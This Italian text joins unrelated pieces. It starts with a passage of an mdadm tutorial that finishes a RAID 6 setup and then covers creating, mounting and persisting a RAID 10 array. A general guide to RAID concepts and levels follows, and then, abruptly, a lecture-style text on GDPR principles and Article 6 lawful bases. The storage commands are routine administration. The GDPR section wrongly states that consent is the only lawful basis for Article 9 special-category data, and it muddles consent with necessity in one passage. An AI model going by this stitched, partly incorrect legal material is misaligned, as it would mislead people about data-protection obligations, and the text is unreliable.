Successivamente è possibile aggiornare il file initramfso file system RAM iniziale, in modo che l’array sia disponibile durante il processo di avvio:

sudo update-initramfs -u

Aggiungi le nuove opzioni di montaggio del filesystem al file /etc/fstab per il montaggio automatico all’avvio:

echo '/dev/md0 /mnt/md0 ext4 defaults,nofail,discard 0 0' | sudo tee -a /etc/fstab

L’array RAID 6 ora assemblerà e monterà automaticamente ogni avvio.

Ora hai finito con la configurazione del RAID. Se desideri provare un RAID diverso, segui le istruzioni di ripristino all’inizio di questo tutorial per procedere con la creazione di un nuovo tipo di array RAID.

Il tipo di array RAID 10 viene tradizionalmente implementato creando un array RAID 0 con striping composto da set di array RAID 1. Questo tipo di array annidato offre ridondanza e prestazioni elevate, a scapito di grandi quantità di spazio su disco. L’utility mdadmdispone di un proprio tipo RAID 10 che fornisce lo stesso tipo di vantaggi con maggiore flessibilità. Non viene creato annidando array, ma ha molte delle stesse caratteristiche e garanzie. Utilizzerai il mdadmRAID 10 di sequito.

  • Requisiti: minimo 3 dispositivi di archiviazione .
  • Vantaggio principale: prestazioni e ridondanza.
  • Cose da tenere a mente: l’entità della riduzione della capacità dell’array è definita dal numero di copie dei dati che si sceglie di conservare. Il numero di copie archiviate con RAID 10 in stile mdadm è configurabile.

Per impostazione predefinita, due copie di ciascun blocco di dati verranno archiviate in quello che viene chiamato layout vicino (near). I possibili layout che determinano la modalità di memorizzazione di ciascun blocco dati sono i seguenti:

  • near: la disposizione predefinita. Le copie di ciascun blocco vengono scritte consecutivamente durante lo striping, il che significa che le copie dei blocchi di dati verranno scritte nella stessa parte di più dischi.
  • far: la prima copia e quelle successive vengono scritte in parti diverse dei dispositivi di archiviazione nell’array. Ad esempio, il primo pezzo potrebbe essere scritto vicino all’inizio di un disco, mentre il secondo pezzo potrebbe essere scritto a metà su un disco diverso. Ciò può fornire alcuni miglioramenti nelle prestazioni di lettura per i tradizionali dischi rotanti a scapito delle prestazioni di scrittura.
  • offset: ogni stripe viene copiato e spostato di un’unità. Ciò significa che le copie sono sfalsate l’una dall’altra, ma ancora vicine sul disco. Ciò aiuta a ridurre al minimo la ricerca eccessiva durante alcuni carichi di lavoro.

Puoi scoprire di più su questi layout controllando la sezione RAID10 della pagina man:

man 4 md

Oppure qui.

Identificazione dei dispositivi

Per iniziare, trova gli identificatori per i dischi raw che utilizzerai:

lsblk -o NAME,SIZE,FSTYPE,TYPE,MOUNTPOINT

Output
NAME     SIZE FSTYPE   TYPE MOUNTPOINT
sda      100G          disk 
sdb      100G          disk 
sdc      100G          disk 
sdd      100G          disk 
vda       25G          disk 
├─vda1  24.9G ext4     part /
├─vda14    4M          part 
└─vda15  106M vfat     part /boot/efi
vdb      466K iso9660  disk 

In questo esempio, hai quattro dischi senza filesystem, ciascuno di 100 GB. A questi dispositivi sono stati assegnati gli identificatori /dev/sda, /dev/sdb, /dev/sdc, E /dev/sddper questa sessione e saranno i componenti raw utilizzati per costruire l’array.

Creazione dell’array

Per creare un array RAID 10 con questi componenti, passali al comando mdadm --create. Devi specificare il nome del dispositivo che desideri creare, il livello RAID e il numero di dispositivi. Nel seguente esempio, nominerai il dispositivo /dev/md0e includerai i dischi che costruiranno l’array:

È possibile impostare due copie utilizzando il layout vicino senza specificare un layout e un numero di copia:

sudo mdadm --create --verbose /dev/md0 --level=10 --raid-devices=4 /dev/sda /dev/sdb /dev/sdc /dev/sdd

Se desideri utilizzare un layout diverso o modificare il numero di copie, dovrai utilizzare l’opzione --layout=, che accetta un layout e un identificatore di copia. I layout sono nper vicino, fper lontano, e oper compensazione. Il numero di copie da archiviare viene aggiunto successivamente.

Ad esempio, per creare un array con tre copie nel layout offset, il comando includerebbe quanto segue:

sudo mdadm --create --verbose /dev/md0 --level=10 --layout=o3 --raid-devices=4 /dev/sda /dev/sdb /dev/sdc /dev/sdd

Il tool mdadminizierà a configurare l’array. Utilizza il processo di ripristino per creare l’array per motivi di prestazioni. Il completamento dell’operazione può richiedere del tempo, ma durante questo periodo è possibile utilizzare l’array. È possibile monitorare l’avanzamento del mirroring controllando il file /proc/mdstat:

cat /proc/mdstat

Output
Personalities : [raid6] [raid5] [raid4] [linear] [multipath] [raid0] [raid1] [raid10] 
md0 : active raid10 sdd[3] sdc[2] sdb[1] sda[0]
      209584128 blocks super 1.2 512K chunks 2 near-copies [4/4] [UUUU]
      [===>.................]  resync = 18.1% (37959424/209584128) finish=13.8min speed=206120K/sec
      
unused devices: <none>

Nella prima riga evidenziata, il dispositivo /dev/md0è stato creato nella configurazione RAID 10 utilizzando i disositivi /dev/sda, /dev/sdb, /dev/sdce /dev/sdd. La seconda area evidenziata mostra il layout utilizzato per questo esempio (due copie nella configurazione near). La terza area evidenziata mostra lo stato di avanzamento della costruzione. Puoi continuare la guida mentre questo processo viene completato.

Creazione e montaggio del filesystem

Successivamente, crea un filesystem sull’array:

sudo mkfs.ext4 -F /dev/md0

Crea un punto di montaggio per collegare il nuovo filesystem:

sudo mkdir -p /mnt/md0

È possibile montare il filesystem in questo modo:

sudo mount /dev/md0 /mnt/md0

Verifica se il nuovo spazio è disponibile:

df -h -x devtmpfs -x tmpfs

Output
Filesystem      Size  Used Avail Use% Mounted on
/dev/vda1        25G  1.4G   23G   6% /
/dev/vda15      105M  3.4M  102M   4% /boot/efi
/dev/md0        197G   60M  187G   1% /mnt/md0

Il nuovo filesystem è montato e accessibile.

Salvataggio del layout dell’array

Per assicurarti che l’array venga riassemblato automaticamente all’avvio, dovrai modificare il file /etc/mdadm/mdadm.conf. È possibile eseguire automaticamente la scansione dell’array attivo e aggiungere il file eseguendo quanto segue:

sudo mdadm --detail --scan | sudo tee -a /etc/mdadm/mdadm.conf

Successivamente è possibile aggiornare il file initramfso file system RAM iniziale, in modo che l’array sia disponibile durante il processo di avvio:

sudo update-initramfs -u

Aggiungi le nuove opzioni di montaggio del filesystem al file /etc/fstab per il montaggio automatico all’avvio:

echo '/dev/md0 /mnt/md0 ext4 defaults,nofail,discard 0 0' | sudo tee -a /etc/fstab

L’array RAID 10 verrà ora assemblato e montato automaticamente ogni avvio.

RAID – Introduzione alla terminologia e ai concetti

L’archiviazione è una considerazione importante quando si configura un server. Quasi tutte le informazioni importanti che interessano verranno prima o poi scritte su un dispositivo di archiviazione per essere salvate per un successivo recupero. I dischi singoli possono essere utili se le esigenze sono semplici. Tuttavia, se hai requisiti di ridondanza o prestazioni più complessi, soluzioni come RAID possono essere utili.

In questa guida parleremo della terminologia e dei concetti RAID comuni. Discuteremo alcuni vantaggi e svantaggi della disposizione dei dispositivi in ​​array RAID, parleremo delle differenze nelle tecnologie di implementazione e esamineremo il modo in cui i diversi livelli RAID influiscono sull’ambiente di archiviazione.

RAID sta per Array ridondanti di dischi indipendenti (Redundant Arrays of Independent Disks). Combinando le unità in modelli diversi, gli amministratori possono ottenere prestazioni o ridondanza maggiori rispetto a quelle che l’insieme di unità può offrire se gestite individualmente. Il RAID è implementato come uno strato intermedio tra le unità o le partizioni grezze e lo strato del file system.

Quando il RAID è una buona idea?

I valori principali forniti dal RAID sono la ridondanza dei dati e il miglioramento delle prestazioni.

La ridondanza ha lo scopo di contribuire ad aumentare la disponibilità dei dati. Ciò significa che durante determinate condizioni di guasto, come quando un’unità di archiviazione diventa difettosa, le informazioni sono ancora accessibili e il sistema nel suo insieme può continuare a funzionare fino alla sostituzione dell’unità. Questo non è inteso come un meccanismo di backup (con RAID sono sempre consigliati backup separati come con qualsiasi altro tipo di archiviazione), ma è inteso invece a ridurre al minimo le interruzioni quando si verificano problemi.

L’altro vantaggio offerto dal RAID in alcuni scenari riguarda le prestazioni. L’I/O di archiviazione è spesso limitato dalla velocità di un singolo disco. Con RAID, i dati sono ridondanti o distribuiti, il che significa che è possibile consultare più dischi per ogni operazione di lettura, aumentando il throughput totale. Le operazioni di scrittura possono anche essere migliorate in alcune configurazioni poiché a ogni singolo disco potrebbe essere richiesto di scrivere solo una frazione dei dati totali.

Alcuni svantaggi del RAID includono una maggiore complessità di gestione e spesso una riduzione della capacità disponibile. Ciò si traduce in costi aggiuntivi per la stessa quantità di spazio utilizzabile. Ulteriori spese potrebbero essere sostenute attraverso l’uso di hardware specializzato quando l’array non è gestito interamente tramite software.

Un altro svantaggio delle configurazioni di array incentrate sulle prestazioni senza ridondanza è l’aumento del rischio di perdita totale dei dati. In questi scenari un insieme di dati dipende interamente da più di un dispositivo di archiviazione, aumentando il rischio totale di perdita

Gli array RAID possono essere creati e gestiti utilizzando alcune tecnologie diverse.

RAID hardware

È possibile utilizzare hardware dedicato chiamato controller RAID o schede RAID per impostare e gestire il RAID in modo indipendente dal sistema operativo. Questo è noto come RAID hardware. I veri controller RAID hardware avranno un processore dedicato per la gestione dei dispositivi RAID.

Ciò presenta una serie di vantaggi:

  • Prestazioni: i controller RAID hardware originali non hanno bisogno di occupare cicli della CPU per gestire i dischi sottostanti. Ciò significa nessun sovraccarico per la gestione dei dispositivi di archiviazione collegati. I controller di alta qualità forniscono anche un’ampia memorizzazione nella cache, che può avere un enorme impatto sulle prestazioni.
  • Eliminazione della complessità: un altro vantaggio derivante dall’utilizzo dei controller RAID è che astraggono la disposizione del disco sottostante dal sistema operativo. Il RAID hardware può presentare l’intero gruppo di unità come una singola unità logica di archiviazione. Non è necessario che il sistema operativo comprenda la disposizione RAID; può semplicemente interfacciarsi con l’array come se fosse un singolo dispositivo.
  • Disponibilità all’avvio: poiché l’array è gestito interamente al di fuori del software, sarà disponibile all’avvio, consentendo al filesystem root stesso di essere facilmente installato su un array RAID.

Il RAID hardware presenta anche alcuni svantaggi significativi.

  • Vincolo del fornitore: poiché la disposizione RAID è gestita dal firmware proprietario sull’hardware stesso, un array è in qualche modo bloccato sull’hardware utilizzato per crearlo. Se un controller RAID muore, nella quasi totalità dei casi, deve essere sostituito con un modello identico o compatibile. Alcuni amministratori consigliano di acquistare uno o più controller di backup da utilizzare nel caso in cui il primo abbia un problema.
  • Costo elevato: i controller RAID hardware di qualità tendono ad essere piuttosto costosi.

RAID software

Il RAID può anche essere configurato dal sistema operativo stesso. Poiché la relazione tra i dischi è definita all’interno del sistema operativo e non del firmware di un dispositivo hardware, si parla di RAID software .

Alcuni vantaggi del RAID software:

  • Flessibilità: poiché il RAID è gestito all’interno del sistema operativo, può essere facilmente configurato dallo spazio di archiviazione disponibile senza riconfigurare l’hardware, da un sistema in esecuzione. Il RAID software Linux è particolarmente flessibile e consente molti tipi diversi di configurazione RAID.
  • Open source: anche le implementazioni RAID software per sistemi operativi open source come Linux e FreeBSD sono open source. L’implementazione RAID non è nascosta e può essere facilmente letta e implementata su altri sistemi. Ad esempio, l’array RAID creato su una macchina Ubuntu può essere facilmente importato in un server CentOS in un secondo momento. Ci sono poche possibilità di perdere l’accesso ai tuoi dati a causa delle differenze del software.
  • Nessun costo aggiuntivo: il RAID software non richiede hardware speciale, quindi non aggiunge costi aggiuntivi al server o workstation.

Alcuni svantaggi del RAID software sono:

  • Specifico dell’implementazione: sebbene il RAID software non sia legato a un hardware specifico, tende ad essere legato all’implementazione software specifica del RAID. Linux utilizza mdadm, mentre FreeBSD utilizza RAID basato su GEOM e Windows ha la propria versione di RAID software. Sebbene in alcuni casi le implementazioni open source possano essere trasferite o lette, il formato stesso probabilmente non sarà compatibile con altre implementazioni RAID software.
  • Sovraccarico delle prestazioni: storicamente, il RAID software è stato criticato per la creazione di ulteriore sovraccarico. Per gestire l’array sono necessari cicli della CPU e memoria, che potrebbero essere utilizzati per altri scopi. Implementazioni come mdadmsull’hardware moderno, tuttavia, annulla in gran parte queste preoccupazioni. Il sovraccarico della CPU è minimo e nella maggior parte dei casi insignificante.

RAID software assistito da hardware (Fake RAID)

È disponibile anche un terzo tipo di RAID chiamato RAID software assistito da hardware , RAID firmware o RAID falso. In genere, questo si trova nella funzionalità RAID all’interno delle schede madri stesse o in schede RAID poco costose. Il RAID software assistito da hardware è un’implementazione che utilizza il firmware sul controller o sulla scheda per gestire il RAID, ma utilizza la normale CPU per gestire l’elaborazione.

Vantaggi del RAID software assistito da hardware:

  • Supporto per più sistemi operativi: poiché il RAID viene attivato durante l’avvio iniziale e quindi trasferito al sistema operativo, più sistemi operativi possono utilizzare lo stesso array, cosa che potrebbe non essere possibile con il RAID software.

Svantaggi del RAID software assistito da hardware:

  • Supporto RAID limitato: solitamente sono disponibili solo RAID 0 o RAID 1.
  • Richiede hardware specifico: come il RAID hardware, il RAID software assistito da hardware è legato all’hardware utilizzato per crearlo e gestirlo. Questo problema è ancora più problematico se incluso in una scheda madre, poiché un guasto del controller RAID può significare che è necessario sostituire l’intera scheda madre per accedere nuovamente ai dati.
  • Sovraccarico delle prestazioni: come il RAID software, nessuna CPU è dedicata alla gestione del RAID. L’elaborazione deve essere condivisa con il resto del sistema operativo.

La maggior parte degli amministratori si tiene alla larga dal RAID software assistito dall’hardware poiché soffre di una combinazione delle insidie ​​​​delle altre due implementazioni.

La familiarità con alcuni concetti comuni aiuterà a comprendere meglio RAID. Di seguito sono riportati alcuni termini comuni che potresti incontrare:

  • Livello RAID: il livello RAID di un array si riferisce alla relazione imposta sui dispositivi di archiviazione che lo compongono. Le unità possono essere configurate in molti modi diversi, portando a diverse ridondanze dei dati e caratteristiche prestazionali. Consultare la sezione sui livelli RAID per ulteriori informazioni.
  • Striping: lo striping è il processo di divisione delle scritture sull’array su più dischi sottostanti. Questa strategia viene utilizzata da diversi livelli RAID. Quando i dati vengono distribuiti su un array, vengono suddivisi in blocchi e ciascun blocco viene scritto su almeno uno dei dispositivi sottostanti.
  • Dimensione blocco: durante lo striping dei dati, la dimensione del blocco definisce la quantità di dati che ogni blocco conterrà. La regolazione della dimensione del blocco in modo che corrisponda alle caratteristiche di I/O previste può contribuire a influenzare le prestazioni relative dell’array.
  • Parità: la parità è un meccanismo di integrità dei dati implementato calcolando le informazioni dai blocchi di dati scritti nell’array. Le informazioni sulla parità possono essere utilizzate per ricostruire i dati in caso di guasto di un’unità. La parità calcolata viene posizionata su un dispositivo separato rispetto ai dati da cui viene calcolata e, nella maggior parte delle configurazioni, viene distribuita tra le unità disponibili per prestazioni e ridondanza migliori.
  • Array degradati: gli array dotati di ridondanza possono subire diversi tipi di guasti delle unità senza perdere dati. Quando un array perde un dispositivo ma è ancora operativo, si dice che sia in modalità degradata. Gli array danneggiati possono essere ricostruiti in condizioni pienamente operative una volta sostituito l’hardware guasto, ma nel frattempo potrebbero subire una riduzione delle prestazioni.
  • Resilvering: Resilvering, o risincronizzazione, è il termine utilizzato per ricostruire un array danneggiato. A seconda della configurazione RAID e dell’impatto del guasto, ciò avviene copiando i dati dai file esistenti nell’array oppure calcolando i dati valutando le informazioni di parità.
  • Array annidati: gruppi di array RAID possono essere combinati in array più grandi. Questo di solito viene fatto per sfruttare le funzionalità di due o più livelli RAID diversi. Di solito, gli array con ridondanza (come RAID 1 o RAID 5) vengono utilizzati come componenti per creare un array RAID 0 per migliorare le prestazioni.
  • Span: Sfortunatamente, span ha un significato diverso quando si parla di array.
    • In determinati contesti, “span” può significare unire due o più dischi insieme end-to-end e presentarli come un unico dispositivo logico, senza miglioramenti in termini di prestazioni o ridondanza. Questa è anche conosciuta come disposizione lineare quando si ha a che fare con Linux mdadmimplementazione.
    • Uno “span” può anche riferirsi al livello inferiore di array combinati per formare il livello successivo quando si parla di livelli RAID nidificati, come RAID 10.
  • Scrubbing: lo scrubbing, o controllo, è il processo di lettura di ogni blocco in un array per assicurarsi che non vi siano errori di coerenza. Ciò aiuta a garantire che i dati siano gli stessi su tutti i dispositivi di archiviazione e previene situazioni in cui errori silenziosi possono causare danni, soprattutto durante procedure delicate come le ricostruzioni.

Le caratteristiche di un array sono determinate dalla configurazione e dalla relazione dei dischi, nota come livello RAID . I livelli RAID più comuni sono:

RAID 0

RAID 0 combina due o più dispositivi distribuendo i dati su di essi. Come accennato in precedenza, lo striping è una tecnica che suddivide i dati in blocchi e quindi li scrive alternativamente su ciascun disco dell’array. Il vantaggio di ciò è che, poiché i dati sono distribuiti, l’intera potenza di ciascun dispositivo può essere utilizzata sia per le letture che per le scritture. Il profilo prestazionale teorico di un array RAID 0 è semplicemente la prestazione di un singolo disco moltiplicata per il numero di dischi (le prestazioni nel mondo reale saranno inferiori a questo). Un altro vantaggio è che la capacità utilizzabile dell’array è semplicemente la capacità combinata di tutte le unità che lo compongono.

Sebbene questo approccio offra ottime prestazioni, presenta anche alcuni svantaggi molto importanti. Poiché i dati vengono suddivisi e divisi tra ciascuno dei dischi dell’array, il guasto di un singolo dispositivo causerà il guasto dell’intero array e tutti i dati andranno persi. A differenza della maggior parte degli altri livelli RAID, gli array RAID 0 non possono essere ricostruiti, poiché nessun sottoinsieme di dispositivi componenti contiene informazioni sufficienti sul contenuto per ricostruire i dati. Se si utilizza un array RAID 0, i backup diventano estremamente importanti, poiché l’intero set di dati dipende in egual misura dall’affidabilità di ciascuno dei dischi dell’array.

RAID 1

RAID 1 è una configurazione che rispecchia i dati tra due o più dispositivi. Tutto ciò che viene scritto nell’array viene posizionato su ciascuno dei dispositivi del gruppo. Ciò significa che ogni dispositivo ha un set completo di dati disponibili, offrendo ridondanza in caso di guasto del dispositivo. In un array RAID 1, i dati saranno comunque accessibili finché un singolo dispositivo nell’array funziona correttamente. L’array può essere ricostruito sostituendo le unità guaste, a quel punto i dispositivi rimanenti verranno utilizzati per copiare i dati sul nuovo dispositivo.

Questa configurazione presenta anche alcune penalità. Come RAID 0, la velocità di lettura teorica può ancora essere calcolata moltiplicando la velocità di lettura di un singolo disco per il numero di dischi. Per le operazioni di scrittura, tuttavia, le prestazioni massime teoriche saranno quelle del dispositivo più lento dell’array. Ciò è dovuto al fatto che l’intero dato deve essere scritto su ciascuno dei dischi dell’array. Inoltre, la capacità totale dell’array sarà quella del disco più piccolo. Pertanto un array RAID 1 con due dispositivi di uguali dimensioni avrà la capacità utilizzabile di un singolo disco. L’aggiunta di ulteriori dischi può aumentare il numero di copie ridondanti dei dati, ma non aumenterà la quantità di capacità disponibile.

RAID 5

RAID 5 presenta alcune caratteristiche dei due livelli RAID precedenti, ma presenta un profilo prestazionale diverso e diversi inconvenienti. In RAID 5, i dati vengono distribuiti sui dischi più o meno allo stesso modo di un array RAID 0. Tuttavia, per ogni striscia di dati scritta sull’array, le informazioni sulla parità, un valore calcolato matematicamente che può essere utilizzato per la correzione degli errori e la ricostruzione dei dati, verranno scritte su uno dei dischi. Il disco che riceve il blocco di parità calcolata anziché un blocco dati ruoterà con ogni stripe scritto.

Ciò presenta alcuni vantaggi importanti. Come altri array con striping, le prestazioni di lettura traggono vantaggio dalla capacità di leggere da più dischi contemporaneamente. Gli array RAID 5 gestiscono la perdita di qualsiasi disco nell’array. Se ciò accade, i blocchi di parità consentono la ricostruzione completa dei dati. Poiché la parità è distribuita (alcuni livelli RAID meno comuni utilizzano un’unità di parità dedicata, nella fattispecie RAID 4), ogni disco dispone di una quantità bilanciata di informazioni sulla parità. Mentre la capacità di un array RAID 1 è limitata alla dimensione di un singolo disco (tutti i dischi hanno copie identiche dei dati), con la parità RAID 5 è possibile ottenere un livello di ridondanza al costo dello spazio di un solo disco. Pertanto, quattro unità da 100 G in un array RAID 5 produrrebbero 300 G di spazio utilizzabile (gli altri 100 G sarebbero occupati dalle informazioni di parità distribuite).

Come gli altri livelli, RAID 5 presenta alcuni inconvenienti significativi che devono essere presi in considerazione. Le prestazioni del sistema possono rallentare notevolmente a causa dei calcoli di parità al volo. Ciò può influire su ogni operazione di scrittura. Se un disco si guasta e l’array entra in uno stato degradato, verrà introdotta anche una penalità significativa per le operazioni di lettura (i dati mancanti dovranno essere calcolati dai dischi rimanenti). Inoltre, quando l’array viene riparato dopo la sostituzione di un’unità guasta, è necessario leggere ciascuna unità e utilizzare la CPU per calcolare i dati mancanti e ricostruirli. Ciò può stressare le unità rimanenti, portando talvolta a ulteriori guasti, con conseguente perdita di tutti i dati.

RAID 6

RAID 6 utilizza un’architettura simile a RAID 5, ma con informazioni di doppia parità. Ciò significa che l’array può sopportare il guasto di due dischi qualsiasi. Si tratta di un vantaggio significativo dovuto alla maggiore probabilità che si verifichi un ulteriore guasto del disco durante il processo di ricostruzione intensivo dopo che si è verificato un errore. Come altri livelli RAID che utilizzano lo striping, le prestazioni di lettura sono generalmente buone. Tutti gli altri vantaggi del RAID 5 esistono anche per il RAID 6.

Per quanto riguarda gli svantaggi, RAID 6 compensa la doppia parità aggiuntiva con la capacità di un disco aggiuntivo. Ciò significa che la capacità totale dell’array corrisponde allo spazio combinato delle unità coinvolte, meno due unità. Il calcolo per determinare i dati di parità per RAID 6 è più complesso di RAID 5, il che può portare a prestazioni di scrittura peggiori rispetto a RAID 5. RAID 6 soffre di alcuni degli stessi problemi di degrado di RAID 5, ma la ridondanza del disco aggiuntivo protegge contro la probabilità che ulteriori errori cancellino i dati durante le operazioni di ricostruzione.

RAID 10

RAID 10 può essere implementato in diversi modi, che influiscono sulle sue caratteristiche generali:

  • RAID nidificato 1+0

Tradizionalmente, RAID 10 si riferisce a un RAID nidificato, creato impostando prima due o più mirror RAID 1 e quindi utilizzandoli come componenti per creare un array RAID 0 con striping su di essi. A volte questo viene ora chiamato RAID 1+0 per essere più espliciti su questa relazione. A causa di questa progettazione, sono necessari almeno quattro dischi per formare un array RAID 1+0 (RAID 0 con striping su due array RAID 1 costituiti da due dispositivi ciascuno).

Gli array RAID 1+0 hanno le caratteristiche di prestazioni elevate di un array RAID 0, ma invece di fare affidamento su singoli dischi per ciascun componente dello stripe, viene utilizzato un array con mirroring, fornendo ridondanza. Questo tipo di configurazione può gestire i guasti del disco in qualsiasi set RAID 1 con mirroring purché almeno un disco in ciascun RAID 1 rimanga disponibile. L’array complessivo è tollerante agli errori in modo sbilanciato, il che significa che può gestire un numero diverso di errori a seconda di dove si verificano.

Poiché RAID 1+0 offre sia ridondanza che prestazioni elevate, di solito è un’ottima opzione se il numero di dischi richiesti non è proibitivo.

  • RAID 10 di mdadm

Quello di Linux mdadmoffre la propria versione di RAID 10, che porta avanti lo spirito e i vantaggi di RAID 1+0, ma altera l’effettiva implementazione per essere più flessibile e offrire alcuni vantaggi aggiuntivi.

Come RAID 1+0, mdadmRAID 10 consente copie multiple e dati con striping. Tuttavia, i dispositivi non sono disposti in termini di coppie speculari. L’amministratore decide invece il numero di copie che verranno scritte per l’array. I dati vengono suddivisi in blocchi e scritti sull’array in più copie, assicurandosi che ciascuna copia di un blocco venga scritta su un dispositivo fisico diverso. Il risultato finale è che esiste lo stesso numero di copie, ma l’array non è vincolato tanto dalla nidificazione sottostante.

Questa concezione del RAID 10 presenta alcuni notevoli vantaggi rispetto al RAID 1+0 nidificato. Poiché non si basa sull’utilizzo di array come elementi costitutivi, può utilizzare un numero dispari di dischi e ha un numero minimo di dischi inferiore (sono richiesti solo 3 dispositivi). Anche il numero di copie da conservare è configurabile. La gestione è semplificata poiché è necessario indirizzare un solo array ed è possibile allocare parti di riserva che possono essere utilizzate per qualsiasi disco dell’array invece che per un solo array componente.

Diritto dei dati – I principi del GDPR

I principi del GDPR: liceità, correttezza, trasparenza, finalità, necessità, esattezza, minimizzazione, proporzionalità, precauzione, accountability.

Continuiamo a muovere lungo il GDPR e in particolare dobbiamo analizzare quelli che sono i cosiddetti principi che guidano il GDPR. Cosa vuol dire questo? Vuol dire che sono i principi che il legislatore europeo ha voluto riconoscere, ha voluto utilizzare come guida, l’ispirazione della sua attività normativa che viene poi concretizzata nelle norme del GDPR ma che sono anche i principi che guidano poi l’esercizio di tutte le attività che il GDPR descrive. Quindi, di fronte a qualsiasi dubbio, a qualsiasi equivoco, a qualsiasi necessità di capire se, quando, come sono state rispettate le norme del GDPR, proprio attraverso il ricorso ai principi che ne guidano l’essenza, in qualche modo, la costruzione, possiamo capire se stiamo rispettando o meno le norme. Innanzitutto diciamo che questi principi generali in tema di trattamento si applicano nei confronti di coloro, di quei titolari che svolgono attività commerciali e professionali. Dei primi principi li troviamo nell’articolo 5 del GDPR che ne descrive una sorta di elenco. Un elenco abbastanza lungo che ci fa una serie di riferimenti da cui ricaviamo questi principi. E i primi sono indicati nella lettera a del primo paragrafo dell’articolo 5 che ci dice proprio in apertura che i dati personali devono essere trattati in modo lecito, corretto e trasparente.

Quindi i nostri primi tre principi da cui partiamo sono proprio la liceità, la correttezza e la trasparenza. La liceità è quella che richiede un discorso un po’ più ampio, perché il principio di liceità è ancorato a due requisiti alternativi che riscontriamo nell’articolo successivo, nell’articolo 6. L’articolo 6, infatti ci indica quali sono le cosiddette condizioni di liceità del trattamento. Abbiamo un elenco diviso in lettere, che però possiamo suddividere in due gruppi. Le condizioni fondate sul requisito di necessità, che sono quelle dalla lettera b alla lettera f, e poi la condizione del consenso che è quella della lettera a. Iniziamo quindi da quelle fondate sul principio di necessità del trattamento, quelli appunto dalla lettera b alla lettera f. Sono tutti esempi in cui il trattamento si considera lecito, quindi le condizioni di trattamento sono lecite per diversi motivi tra loro. La prima ipotesi è quella in cui il trattamento è necessario per l’esecuzione di un contratto di cui l’interessato è parte. Quindi noi per eseguire un contratto stipulato con interessati dobbiamo necessariamente eseguire questo trattamento. Quindi noi stipuliamo un contratto però, affinché questo contratto sia eseguito è fondamentale l’attività di trattamento dei dati personali: la necessità di questo trattamento, rispetto all’esecuzione del contratto che abbiamo stipulato, rende il trattamento lecito. Un’altra ipotesi è quella in cui il titolare deve adempiere ad un obbligo legale. Per esempio pensiamo agli obblighi di tenuta della contabilità o rispetto all’emissione delle fatture. Rispetto a questi obblighi un titolare del trattamento si trova di fronte alla necessità di eseguire il trattamento dei dati e quindi automaticamente questo trattamento sarà lecito proprio perché il titolare così come svolge il trattamento, deve al contempo adempiere ad un obbligo legale. Una terza ipotesi è quella della lettera d, che fa riferimento alla salvaguardia degli interessi vitali dell’interessato. Quindi quando è necessario salvaguardare gli interessi vitali, quindi proprio quelli che riguardano la sopravvivenza della persona, allora è lecito quel trattamento perché appunto è necessario per tutelare la sua vita. In questo caso per esempio possiamo pensare all’ipotesi di trattamento dei dati che sono necessari, e sono fatti relativamente recenti, per tenere sotto controllo la diffusione di un’epidemia, oppure nei casi di catastrofi naturali, di emergenze, rispetto alle quali la salvaguardia degli interessi vitali delle persone coinvolte può comportare anche il trattamento. Ancora lettera e, è necessario quando è svolto per l’esecuzione di un interesse pubblico da parte del titolare. E poi l’ultima ipotesi, quella della lettera f, è fondata la liceità sulla necessità del trattamento dei dati quando il trattamento deve essere effettuato per perseguire quello che è un legittimo interesse del titolare. L’importante in questo caso è che il legittimo interesse del titolare non si scontri con i diritti e le libertà fondamentali dell’interessato, soprattutto se l’interessato è un soggetto di minore età. Questa valutazione è particolare, molto particolare questa ipotesi di cui alla lettera f, perché il fatto che il legittimo interesse sia tale, in realtà è una valutazione che spetta al titolare stesso. Quindi è il titolare stesso a individuare l’ipotesi in cui ritiene che il suo legittimo interesse sia tale da giustificare il trattamento. Poi, ovviamente ex-post ci può essere un controllo rispetto alla liceità o meno di questo trattamento, però a monte è il titolare stesso che ritiene il suo legittimo interesse come non preponderante rispetto ai diritti, alla libertà dell’interessato e quindi tale da giustificare il trattamento stesso. Ciò che è importante è che comunque, tra titolare e interessato in questi casi vi sia un tipo di relazione che in qualche modo giustifichi questo trattamento, nel senso che renda questo trattamento attendibile, aspettabile da parte dell’interessato. Pensiamo per esempio a quei rapporti tra clienti e venditori e poi rapporti tra dipendente e datore di lavoro, sono dei rapporti in cui effettivamente l’interessato in questi esempi è il cliente o il lavoratore, si può ragionevolmente aspettare, attendere che il titolare e quindi nell’esempio, il venditore o il datore di lavoro, debba utilizzare quei dati personali e quindi appunto queste ipotesi possono permettere il trattamento perché fungono da condizione di liceità del trattamento stesso. Quindi questi esempi dalla lettera b alla lettera f dell’articolo 6 ci indicano delle ipotesi in cui la condizione di liceità del trattamento è la necessità del trattamento.

L’altra ipotesi, quella della lettera a, è invece la più diffusa perché è il consenso dell’interessato. Quindi l’articolo 6 lettera a ci dice che il trattamento è lecito quando c’è stato il consenso dell’interessato, che sia un consenso espresso per tutte le finalità che il titolare deve perseguire. Il consenso addirittura diventa l’unica fonte di liceità del trattamento quando i dati che vengono trattati sono i dati descritti dall’articolo 9 del GDPR. I dati descritti articolo 9 sono i cosiddetti dati particolari, sono un po’ l’evoluzione di quelli che più diffusamente venivano chiamati come dati sensibili. Il GDPR supera il concetto di dato sensibile, preferendo quello di dato particolare. Dati particolari quindi a questo punto sono in realtà facilmente immaginabili perché sono dati particolari le convinzioni religiose, le opinioni politiche, i dati genetici, i dati che rivelano l’origine etnica di una persona o quelli che ne rivelano l’orientamento sessuale o quelli relativi alla salute o insomma tutta una serie di dati estremamente connessi al nucleo più intimo della identità personale. Diciamo che il consenso e le altre condizioni di liceità fondate sulla necessità sono condizioni che possiamo considerare equipollenti nel senso che sono tutte condizioni di liceità del trattamento, sono infatti dei criteri alternativi: criterio del consenso e criterio della necessità. Ciò che cambia è che mentre quando un soggetto presta direttamente il consenso siamo di fronte ad una situazione in cui abbiamo una persona che opera autonomamente una scelta discrezionale, cioè quando io fornisco il consenso sto valutando tutti quelli che sono gli aspetti in gioco, gli interessi in gioco, faccio io il bilanciamento rispetto a se voglio prestare o meno il consenso perché deve essere un consenso informato, libero, specifico e inequivocabile, quindi la scelta discrezionale è totalmente mia. Invece quando siamo di fronte ai criteri fondati sulla necessità, quindi le condizioni di liceità fondate sulla necessità, lettere da b ad f, qui la valutazione non è discrezionale del singolo interessato perché appunto la necessità del consenso è valutata a monte dal legislatore che reputa quelle situazioni come idonee a rendere il trattamento lecito.

